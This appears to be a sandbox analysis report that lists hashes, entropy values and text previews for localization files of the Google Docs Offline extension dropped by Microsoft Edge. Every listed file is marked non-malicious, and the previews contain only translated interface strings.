C:\Users\user\AppData\Local\Temp\scoped_dir7748_822109041\CRX_INSTALL\_locales\lo\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2535
Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir7748_822109041\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir7748_822109041\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7748_822109041\CRX_INSTALL\_locales\ml\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
Encrypted:	false
SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

C:\Users\user\AppData\Local\Temp\scoped_dir7748_822109041\CRX_INSTALL\_locales\mn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir7748_822109041\CRX_INSTALL\_locales\mr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7748_822109041\CRX_INSTALL\_locales\ms\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7748_822109041\CRX_INSTALL\_locales\my\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir7748_822109041\CRX_INSTALL\_locales\ne\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir7748_822109041\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7748_822109041\CRX_INSTALL\_locales\no\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7748_822109041\CRX_INSTALL\_locales\pa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

C:\Users\user\AppData\Local\Temp\scoped_dir7748_822109041\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7748_822109041\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7748_822109041\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7748_822109041\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7748_822109041\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
